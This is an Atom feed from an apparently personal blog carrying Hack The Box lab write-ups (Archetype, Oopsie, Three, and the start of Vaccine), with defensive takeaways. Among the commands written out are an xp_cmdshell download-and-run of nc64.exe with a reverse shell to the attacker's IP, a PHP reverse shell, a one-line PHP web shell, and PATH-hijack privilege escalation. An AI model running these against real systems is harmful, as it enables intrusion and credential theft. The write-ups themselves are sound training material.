<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://mariustudor07.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mariustudor07.github.io/" rel="alternate" type="text/html" /><updated>2026-07-14T21:05:55+00:00</updated><id>https://mariustudor07.github.io/feed.xml</id><title type="html">Marius Tudor</title><subtitle>Cybersecurity student and offensive security researcher. Web exploitation and Hack The Box writeups.</subtitle><author><name>mariustudor07</name></author><entry><title type="html">HTB Starting Point: Archetype</title><link href="https://mariustudor07.github.io/blog/htb-archetype/" rel="alternate" type="text/html" title="HTB Starting Point: Archetype" /><published>2026-07-14T00:00:00+00:00</published><updated>2026-07-14T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/htb-archetype</id><content type="html" xml:base="https://mariustudor07.github.io/blog/htb-archetype/"><![CDATA[<p>Archetype is a Tier II Starting Point box and it’s a tidy walk through how a
Windows service account leaks its way to full domain compromise. An open SMB share
hands out a config file with a database password baked in, that password logs into
MSSQL with <code class="language-plaintext highlighter-rouge">sysadmin</code> rights, and <code class="language-plaintext highlighter-rouge">sysadmin</code> means <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>, which means code
execution. From there the box teaches the single most useful Windows privesc habit
there is: read the PowerShell history. Someone typed the administrator password
into a console once, and Windows wrote it to disk.</p>

<h2 id="recon">Recon</h2>

<p>Start with a full service scan.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> 10.129.98.50
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>135</td>
      <td>msrpc</td>
      <td>Microsoft Windows RPC</td>
    </tr>
    <tr>
      <td>139</td>
      <td>netbios-ssn</td>
      <td>Microsoft Windows netbios-ssn</td>
    </tr>
    <tr>
      <td>445</td>
      <td>microsoft-ds</td>
      <td>Windows Server 2019 SMB</td>
    </tr>
    <tr>
      <td>1433</td>
      <td>ms-sql-s</td>
      <td>Microsoft SQL Server 2017</td>
    </tr>
  </tbody>
</table>

<p>That combination is the whole plot in miniature. Port 445 is file sharing, port
1433 is a SQL Server, and boxes that expose both almost always want you to find a
credential on one and spend it on the other. SMB is where you look first because
it’s the one that gives things away for free.</p>

<h2 id="enumeration">Enumeration</h2>

<p>List the shares with a null session, no credentials at all:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> <span class="nt">-L</span> <span class="se">\\\\</span>10.129.98.50<span class="se">\\</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
backups         Disk
C$              Disk      Default share
IPC$            IPC       Remote IPC
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ADMIN$</code> and <code class="language-plaintext highlighter-rouge">C$</code> are the default admin shares and won’t open without privileges.
<code class="language-plaintext highlighter-rouge">backups</code> is the odd one out, a non-default share sitting there with no comment,
and it lets me in anonymously:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> <span class="se">\\\\</span>10.129.98.50<span class="se">\\</span>backups
smb: <span class="se">\&gt;</span> <span class="nb">ls
</span>smb: <span class="se">\&gt;</span> get prod.dtsConfig
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">prod.dtsConfig</code> is an SSIS package configuration, and those are XML files that
tend to carry connection strings in plaintext. This one does:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;DTSConfiguration&gt;</span>
  <span class="nt">&lt;Configurations&gt;</span>
    <span class="nt">&lt;Configuration</span> <span class="err">...</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ConfiguredValue&gt;</span>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;...
</code></pre></div></div>

<blockquote>
  <p>This is the whole foothold in one line. A backup config, left readable to anyone
who can reach SMB, contains the database service account’s password in the clear.
I pulled the relevant piece straight out into a scratch file so I wouldn’t lose it:
<code class="language-plaintext highlighter-rouge">Password=M3g4c0rp123; User ID=ARCHETYPE\sql_svc</code>.</p>
</blockquote>

<p>So I’ve got <code class="language-plaintext highlighter-rouge">sql_svc</code> / <code class="language-plaintext highlighter-rouge">M3g4c0rp123</code>, and a SQL Server on 1433 waiting for it.</p>

<h2 id="foothold">Foothold</h2>

<p>Impacket’s <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> connects to MSSQL and gives an interactive SQL prompt.
The account is a Windows login, so it needs <code class="language-plaintext highlighter-rouge">-windows-auth</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.98.50 <span class="nt">-windows-auth</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
SQL (ARCHETYPE\sql_svc  dbo@master)&gt;
</code></pre></div></div>

<p>First thing to confirm is what this account is allowed to do. <code class="language-plaintext highlighter-rouge">sysadmin</code> is the
role that matters, because it’s the one that can turn on command execution:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">is_srvrolemember</span><span class="p">(</span><span class="s1">'sysadmin'</span><span class="p">)</span>
</code></pre></div></div>

<p>It comes back <code class="language-plaintext highlighter-rouge">1</code>. <code class="language-plaintext highlighter-rouge">sql_svc</code> is a full sysadmin, which on a box like this is game
over already, it just takes a couple more steps to cash in. While poking around I
listed the databases and noticed <code class="language-plaintext highlighter-rouge">msdb</code> has <code class="language-plaintext highlighter-rouge">is_trustworthy_on</code> set, which is its
own escalation route, but I didn’t need it. The direct path from sysadmin is
<code class="language-plaintext highlighter-rouge">xp_cmdshell</code>, an extended procedure that runs OS commands. It’s disabled by
default, so I enable it (the impacket shell wraps the reconfigure dance in a single
command):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SQL&gt; enable_xp_cmdshell
SQL&gt; xp_cmdshell whoami
output
-----------------
archetype\sql_svc
</code></pre></div></div>

<p>Command execution as the service account. <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> is a miserable place to
live though, every command is a fresh round trip with no interactivity, so the move
is to use it once to pull a real shell back.</p>

<p>I hosted <code class="language-plaintext highlighter-rouge">nc64.exe</code> over a quick web server on my box:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> http.server 80
</code></pre></div></div>

<p>Then had the target download it and connect back. Two <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> calls, one to
fetch the binary and one to fire the shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SQL&gt; xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.128/nc64.exe -outfile nc64.exe"
SQL&gt; xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.128 443"
</code></pre></div></div>

<p>With a listener already waiting:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nc <span class="nt">-lvnp</span> 443
</code></pre></div></div>

<p>The second call hangs, which is exactly right, it means the shell connected and is
sitting on my listener:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\sql_svc\Downloads&gt; whoami
archetype\sql_svc
</code></pre></div></div>

<p>The user flag is on the service account’s desktop:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>type C:\Users\sql_svc\Desktop\user.txt
</code></pre></div></div>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>I’m <code class="language-plaintext highlighter-rouge">sql_svc</code>, a low-privilege service account, and I need administrator. The
single highest-value thing to check on any Windows foothold is the PowerShell
history, because <code class="language-plaintext highlighter-rouge">PSReadLine</code> silently logs every command every user has typed into
a console, and people type passwords into consoles. The file lives under each
user’s profile:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! /persistent:no
exit
</code></pre></div></div>

<blockquote>
  <p>There it is. Somebody mounted the backups share as the administrator account and
typed the password on the command line, and <code class="language-plaintext highlighter-rouge">PSReadLine</code> wrote it to disk where
<code class="language-plaintext highlighter-rouge">sql_svc</code> can read it: <code class="language-plaintext highlighter-rouge">administrator</code> / <code class="language-plaintext highlighter-rouge">MEGACORP_4dm1n!!</code>. WinPEAS flags this
file too, but you don’t need a tool, just know the path.</p>
</blockquote>

<p>Now I’ve got the administrator’s password, and with SMB and RPC exposed I can
authenticate as admin directly instead of pivoting inside the existing shell.
Impacket’s <code class="language-plaintext highlighter-rouge">psexec.py</code> uploads a service binary and gives a SYSTEM shell over 445:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.py administrator@10.129.98.50
<span class="c"># Password: MEGACORP_4dm1n!!</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Opening SVCManager on ARCHETYPE.....
[*] Creating service ....
C:\Windows\system32&gt; whoami
nt authority\system
</code></pre></div></div>

<p>Not just administrator, <code class="language-plaintext highlighter-rouge">psexec.py</code> lands as <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code>, the highest
account on the box. The root flag is on the administrator’s desktop:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>type C:\Users\Administrator\Desktop\root.txt
</code></pre></div></div>

<p>Box done.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>The chain is one leaked secret feeding the next: an anonymous share leaks a DB
password, the DB password is sysadmin so it becomes code execution, and a history
file leaks the admin password so code execution becomes SYSTEM. No exploit in the
memory-corruption sense anywhere, just credentials left where they shouldn’t be.</li>
  <li><code class="language-plaintext highlighter-rouge">sysadmin</code> on MSSQL is remote code execution, full stop. <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> is off by
default but any sysadmin can switch it on, so the role itself is the vulnerability.
Service accounts should never be sysadmin, and connection strings should never sit
in a world-readable share.</li>
  <li>The privesc lesson is the one to memorise for every Windows box:
<code class="language-plaintext highlighter-rouge">C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code>.
It is the Windows equivalent of <code class="language-plaintext highlighter-rouge">.bash_history</code>, and it catches passwords typed
on the command line constantly. Check it on every foothold.</li>
  <li>Once you have an admin password, <code class="language-plaintext highlighter-rouge">psexec.py</code> is cleaner than climbing through your
existing shell, and it drops you at SYSTEM rather than just the admin user.</li>
  <li>Defensive version: don’t leave backup shares anonymous, don’t run SQL Server
service accounts as sysadmin, don’t put credentials in <code class="language-plaintext highlighter-rouge">net use</code> on the command
line, and clear the history if you do. Any one of those breaks the chain.</li>
</ul>

<blockquote>
  <p>Retired Tier II Starting Point box on my own Hack The Box account. Only ever test
what you’re allowed to.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="windows" /><category term="smb" /><category term="mssql" /><category term="xp_cmdshell" /><category term="powershell-history" /><category term="psexec" /><category term="starting-point" /><summary type="html"><![CDATA[An anonymous SMB share leaks a database connection string, those creds open MSSQL as sysadmin, and xp_cmdshell turns that into a shell. Then a forgotten PowerShell history file hands over the administrator password.]]></summary></entry><entry><title type="html">HTB Oopsie</title><link href="https://mariustudor07.github.io/blog/htb-oopsie/" rel="alternate" type="text/html" title="HTB Oopsie" /><published>2026-07-14T00:00:00+00:00</published><updated>2026-07-14T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/htb-oopsie</id><content type="html" xml:base="https://mariustudor07.github.io/blog/htb-oopsie/"><![CDATA[<p>Oopsie is the box where the whole thing is a chain of small trust mistakes, each
one boring on its own. A login page that hands out guest access, an account page
you can walk by ID, a cookie the server believes without checking, an upload
gated only by that cookie, and finally a root binary that trusts your <code class="language-plaintext highlighter-rouge">PATH</code>.
None of these is a dramatic exploit. Stacked together they take you from an
anonymous browser tab to a root shell.</p>

<h2 id="recon">Recon</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> 10.129.95.191
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>SSH</td>
      <td>OpenSSH 7.6p1 (Ubuntu)</td>
    </tr>
    <tr>
      <td>80</td>
      <td>HTTP</td>
      <td>Apache httpd 2.4.29 (Ubuntu)</td>
    </tr>
  </tbody>
</table>

<p>SSH won’t move without creds, so port 80 is the game. The site is a corporate
brochure page for “MegaCorp Automotive”. Nothing obviously interactive on the
surface, which on a box like this means the interesting part is hidden a layer
down.</p>

<h2 id="enumeration">Enumeration</h2>

<p>Directory busting first:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://10.129.95.191 <span class="se">\</span>
  <span class="nt">-w</span> /usr/share/seclists/Discovery/Web-Content/common.txt <span class="nt">-x</span> php,html
<span class="c"># /css /fonts /images /js /themes</span>
<span class="c"># /uploads   (301)</span>
<span class="c"># index.php  (200)</span>
</code></pre></div></div>

<p>An <code class="language-plaintext highlighter-rouge">/uploads</code> directory is a loud hint that this box wants me to put a file
somewhere. But the front page has no upload form, so there’s an area I haven’t
found yet. The answer was in the JavaScript, not the HTML. Reading the site’s
JS files turned up a reference to a login endpoint the navigation never links to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://10.129.95.191/cdn-cgi/login/
</code></pre></div></div>

<p>That page has a normal username/password box and, underneath it, a <strong>Login as
Guest</strong> button. Free access, no creds needed.</p>

<h2 id="the-idor-and-the-cookie">The IDOR and the cookie</h2>

<p>As guest I get a small account panel. The Account page URL carries my identity in
the query string:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/cdn-cgi/login/admin.php?content=accounts&amp;id=2
</code></pre></div></div>

<p>Guest is <code class="language-plaintext highlighter-rouge">id=2</code>. The obvious move is to walk that number. Setting <code class="language-plaintext highlighter-rouge">id=1</code> shows a
different account, and crucially the page prints each account’s <strong>Access ID</strong>
alongside it. The super-admin’s Access ID is <strong>34322</strong>.</p>

<blockquote>
  <p>This is the actual bug. The page lets any logged-in user read any other
account by ID (a textbook IDOR), and it leaks a value the app treats as a
secret. One authorized-but-nosy user reading <code class="language-plaintext highlighter-rouge">id=1</code> gets everything they need
to impersonate the admin.</p>
</blockquote>

<p>Now the upload. Browsing to the uploads area as guest gets refused with a
“super admin” message. The site decides who you are with two cookies:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>role=guest;  user=&lt;my access id&gt;
</code></pre></div></div>

<p>The server never revalidates these against a session, it just trusts them. So I
rewrote both in the browser dev tools:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>role=admin;  user=34322
</code></pre></div></div>

<p>Reload, and the uploads page renders for me as super admin.</p>

<h2 id="foothold">Foothold</h2>

<p>With the upload unlocked I grabbed pentestmonkey’s PHP reverse shell, set the
callback to my <code class="language-plaintext highlighter-rouge">tun0</code> address and a port I had a listener on, and uploaded it.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// php-reverse-shell.php</span>
<span class="nv">$ip</span> <span class="o">=</span> <span class="s1">'10.10.14.128'</span><span class="p">;</span>   <span class="c1">// my tun0</span>
<span class="nv">$port</span> <span class="o">=</span> <span class="mi">4444</span><span class="p">;</span>
</code></pre></div></div>

<p>Uploaded files land in <code class="language-plaintext highlighter-rouge">/uploads</code>, and Apache runs PHP there, so requesting the
file executes it. Listener up first:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rlwrap nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<p>Then trigger it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://10.129.95.191/uploads/php-reverse-shell.php
</code></pre></div></div>

<p>Shell back as <code class="language-plaintext highlighter-rouge">www-data</code>. First thing, upgrade the dumb shell to something that
behaves like a terminal:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre></div></div>

<h2 id="from-www-data-to-robert">From www-data to robert</h2>

<p>The web root is where the login page keeps its database config, and that’s the
first place to look:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /var/www/html/cdn-cgi/login/db.php
<span class="c"># 'robert' / 'M3g4C0rpUs3r!'</span>
</code></pre></div></div>

<p>There’s a local user <code class="language-plaintext highlighter-rouge">robert</code> on the box, and the classic mistake is password
reuse between the app’s DB account and the system account. It reuses:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>su robert
<span class="c"># Password: M3g4C0rpUs3r!</span>
<span class="nb">cat</span> /home/robert/user.txt
</code></pre></div></div>

<p>First flag. <code class="language-plaintext highlighter-rouge">su</code> matters here rather than trying to shove the password into a web
form, because I want a real user session for the next step.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p><code class="language-plaintext highlighter-rouge">robert</code>’s groups are the tell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id</span>
<span class="c"># uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)</span>
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">bugtracker</code> group isn’t standard, so something on disk must be owned by it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-group</span> bugtracker 2&gt;/dev/null
<span class="c"># /usr/bin/bugtracker</span>

<span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/bugtracker
<span class="c"># -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker</span>
</code></pre></div></div>

<p>A SUID binary, owned by root, that the <code class="language-plaintext highlighter-rouge">bugtracker</code> group is allowed to run. It
runs as root no matter who launches it. Running it, it asks for a bug ID and
prints a report file. Pulling strings out of the binary shows how it reads that
file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings /usr/bin/bugtracker
<span class="c"># ...</span>
<span class="c"># cat /root/reports/</span>
<span class="c"># ...</span>
</code></pre></div></div>

<p>It calls <code class="language-plaintext highlighter-rouge">cat</code> with no absolute path. When a program does that, the shell finds
<code class="language-plaintext highlighter-rouge">cat</code> by searching <code class="language-plaintext highlighter-rouge">PATH</code> in order, and I control <code class="language-plaintext highlighter-rouge">PATH</code>. So I put my own <code class="language-plaintext highlighter-rouge">cat</code>
first, one that gives me a shell instead of reading a file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /tmp
<span class="nb">echo</span> <span class="s1">'/bin/bash'</span> <span class="o">&gt;</span> <span class="nb">cat
chmod</span> +x <span class="nb">cat
export </span><span class="nv">PATH</span><span class="o">=</span>/tmp:<span class="nv">$PATH</span>

bugtracker
<span class="c"># enter any bug id, then hit enter</span>
</code></pre></div></div>

<p>Because <code class="language-plaintext highlighter-rouge">bugtracker</code> is SUID root and it resolves <code class="language-plaintext highlighter-rouge">cat</code> to my <code class="language-plaintext highlighter-rouge">/tmp/cat</code>, the
<code class="language-plaintext highlighter-rouge">/bin/bash</code> it launches runs as root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># whoami -&gt; root</span>
<span class="nb">cat</span> /root/root.txt
</code></pre></div></div>

<p>Rooted.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>The web half is four failures in a row: a hidden-but-unauthenticated login, an
IDOR that leaks the admin’s ID, an upload that trusts client-side cookies for
authorization, and a directory that executes what you upload. Each is common.
Chaining them is the lesson.</li>
  <li>Never trust a cookie to carry authorization. <code class="language-plaintext highlighter-rouge">role=admin</code> is only as strong as
the server’s willingness to re-check it, and here it did zero checking. Session
state belongs on the server.</li>
  <li>Read the JavaScript. The whole box hinges on a login endpoint that nothing
links to but the JS mentions. Directory busting alone would have missed it.</li>
  <li><code class="language-plaintext highlighter-rouge">db.php</code> and config files in the web root are always worth a look, and reused
passwords turn one leak into a full user account.</li>
  <li>The privesc is the SUID + relative-path pattern worth memorising: if a root
binary calls a command without an absolute path, you own that command via
<code class="language-plaintext highlighter-rouge">PATH</code>. The fix is trivial (call <code class="language-plaintext highlighter-rouge">/bin/cat</code>, or drop SUID), which is exactly
why it’s everywhere.</li>
</ul>

<blockquote>
  <p>Retired Starting Point box on my own Hack The Box account. Only ever test what
you’re allowed to.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="linux" /><category term="web" /><category term="idor" /><category term="cookies" /><category term="file-upload" /><category term="suid" /><category term="path-hijack" /><category term="starting-point" /><summary type="html"><![CDATA[A guest login leaks an admin access ID, two tampered cookies unlock a file upload, and a PHP shell gets me in. Then a SUID binary that calls cat without a path hands over root.]]></summary></entry><entry><title type="html">HTB Starting Point: Three</title><link href="https://mariustudor07.github.io/blog/htb-three/" rel="alternate" type="text/html" title="HTB Starting Point: Three" /><published>2026-07-14T00:00:00+00:00</published><updated>2026-07-14T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/htb-three</id><content type="html" xml:base="https://mariustudor07.github.io/blog/htb-three/"><![CDATA[<p>Three is a Tier 1 Starting Point box, and it’s a clean lesson in how one cloud
misconfiguration turns into full remote code execution. The site for a band
called The Toppers is backed by a self-hosted S3 bucket, that bucket lets anyone
write to it, and Apache runs whatever PHP ends up in it. Chain those together and
you get a shell.</p>

<h2 id="recon">Recon</h2>

<p>Start with a full service scan and note what’s exposed.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> 10.129.96.248
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>SSH</td>
      <td>OpenSSH 7.6p1 (Ubuntu)</td>
    </tr>
    <tr>
      <td>80</td>
      <td>HTTP</td>
      <td>Apache httpd 2.4.29 (Ubuntu)</td>
    </tr>
  </tbody>
</table>

<p>SSH is unlikely to be the way in without creds, so the web server gets my
attention. The page is “The Toppers”, a mostly static band site. The useful part
of a site like this is always the contact section, and here every email address
uses the <code class="language-plaintext highlighter-rouge">thetoppers.htb</code> domain.</p>

<p>So I set up name resolution before going further.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nano /etc/hosts
<span class="c"># 10.129.96.248   thetoppers.htb</span>
</code></pre></div></div>

<h2 id="enumeration">Enumeration</h2>

<p>Directory busting was quiet, so I moved to virtual host enumeration. Multiple
subdomains served off one IP is a common pattern, and it’s exactly what gobuster’s
vhost mode is for.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster vhost <span class="nt">-u</span> http://thetoppers.htb <span class="se">\</span>
  <span class="nt">-w</span> /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt <span class="se">\</span>
  <span class="nt">--append-domain</span>
</code></pre></div></div>

<p>That returned <code class="language-plaintext highlighter-rouge">s3.thetoppers.htb</code>.</p>

<blockquote>
  <p>The one detail that unlocked the box: a subdomain literally named <code class="language-plaintext highlighter-rouge">s3</code>. That’s
Amazon-style object storage, and a self-hosted one usually means an emulator
that’s been left wide open.</p>
</blockquote>

<p>I added the new vhost to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> next to the first, then confirmed the
service was alive.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.96.248 s3.thetoppers.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
curl <span class="nt">-s</span> http://s3.thetoppers.htb/
</code></pre></div></div>

<p>The endpoint answered like a running S3 service, so I talked to it as one. The
AWS CLI doesn’t validate credentials against this box, so any junk values work. I
filled every field with <code class="language-plaintext highlighter-rouge">temp</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws configure
<span class="c"># AWS Access Key ID:     temp</span>
<span class="c"># AWS Secret Access Key: temp</span>
<span class="c"># Default region name:   temp</span>
<span class="c"># Default output format: temp</span>

aws <span class="nt">--endpoint</span><span class="o">=</span>http://s3.thetoppers.htb s3 <span class="nb">ls
</span>aws <span class="nt">--endpoint</span><span class="o">=</span>http://s3.thetoppers.htb s3 <span class="nb">ls </span>s3://thetoppers.htb
</code></pre></div></div>

<p>There’s a bucket named <code class="language-plaintext highlighter-rouge">thetoppers.htb</code>, and listing it shows the actual website
files. That’s the whole game. The bucket isn’t side storage, it is the web root.
Apache serves straight out of it, so anything I write to the bucket I can then
request over HTTP, and since PHP is enabled it gets executed rather than handed
back as text.</p>

<h2 id="foothold">Foothold</h2>

<p>I wrote the smallest useful web shell, a one liner that runs whatever I pass in
the <code class="language-plaintext highlighter-rouge">cmd</code> parameter, and uploaded it into the bucket.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'&lt;?php system($_GET["cmd"]); ?&gt;'</span> <span class="o">&gt;</span> shell.php
aws <span class="nt">--endpoint</span><span class="o">=</span>http://s3.thetoppers.htb s3 <span class="nb">cp </span>shell.php s3://thetoppers.htb/shell.php
</code></pre></div></div>

<blockquote>
  <p>If the upload fails with a DNS or addressing error, switch the CLI to path
style so it stops trying to resolve <code class="language-plaintext highlighter-rouge">thetoppers.htb.s3.thetoppers.htb</code>:
<code class="language-plaintext highlighter-rouge">aws configure set default.s3.addressing_style path</code>.</p>
</blockquote>

<p>Then I confirmed execution by asking who I was running as.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://thetoppers.htb/shell.php?cmd=id"</span>
<span class="c"># uid=33(www-data) gid=33(www-data) groups=33(www-data)</span>
</code></pre></div></div>

<p>Code execution as <code class="language-plaintext highlighter-rouge">www-data</code>.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>None needed. On Three the flag sits in the web root’s parent directory and is
readable by the web user, so the foothold shell is enough to finish the box.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"</span>
</code></pre></div></div>

<p>That returns the flag. Box done.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>The intended path was exactly this one. The emails gave me the domain, the
domain led to vhost enumeration, and the <code class="language-plaintext highlighter-rouge">s3</code> subdomain gave up the rest.</li>
  <li>Read the contact page and the page source. Skipping them costs you the first
foothold on boxes like this.</li>
  <li>The real bug isn’t S3, it’s two mistakes stacked: a bucket writable by anyone,
used directly as the web root by a server that runs PHP. Either one alone is
bad. Together they’re instant RCE.</li>
  <li>Defensive version: don’t serve executable content out of a writable object
store, require real credentials on the storage backend, and keep uploads on a
host that can’t run code.</li>
</ul>

<blockquote>
  <p>Only test targets you’re allowed to. This is a retired Starting Point box on my
own Hack The Box account. Never a live site you don’t own.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="linux" /><category term="web" /><category term="aws" /><category term="s3" /><category term="rce" /><summary type="html"><![CDATA[A band's website is served straight out of a writable S3 bucket. Upload a PHP shell to the bucket, request it over HTTP, and you have code execution.]]></summary></entry><entry><title type="html">HTB Starting Point: Vaccine</title><link href="https://mariustudor07.github.io/blog/htb-vaccine/" rel="alternate" type="text/html" title="HTB Starting Point: Vaccine" /><published>2026-07-14T00:00:00+00:00</published><updated>2026-07-14T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/htb-vaccine</id><content type="html" xml:base="https://mariustudor07.github.io/blog/htb-vaccine/"><![CDATA[<p>Vaccine is a Tier 2 Starting Point box and it’s really a chain of small credential
problems, each one feeding the next. Anonymous FTP gives up a backup, the backup
is a locked zip, the zip hides an admin password hash, the hash unlocks a login,
the login has a SQL injection, and the shell that gets me lands on a sudo rule
that hands over root. Nothing here is hard on its own. The lesson is how cleanly
one weak link pulls the next one loose.</p>

<h2 id="recon">Recon</h2>

<p>Start with a full service scan and note what’s exposed.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> 10.129.95.174
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
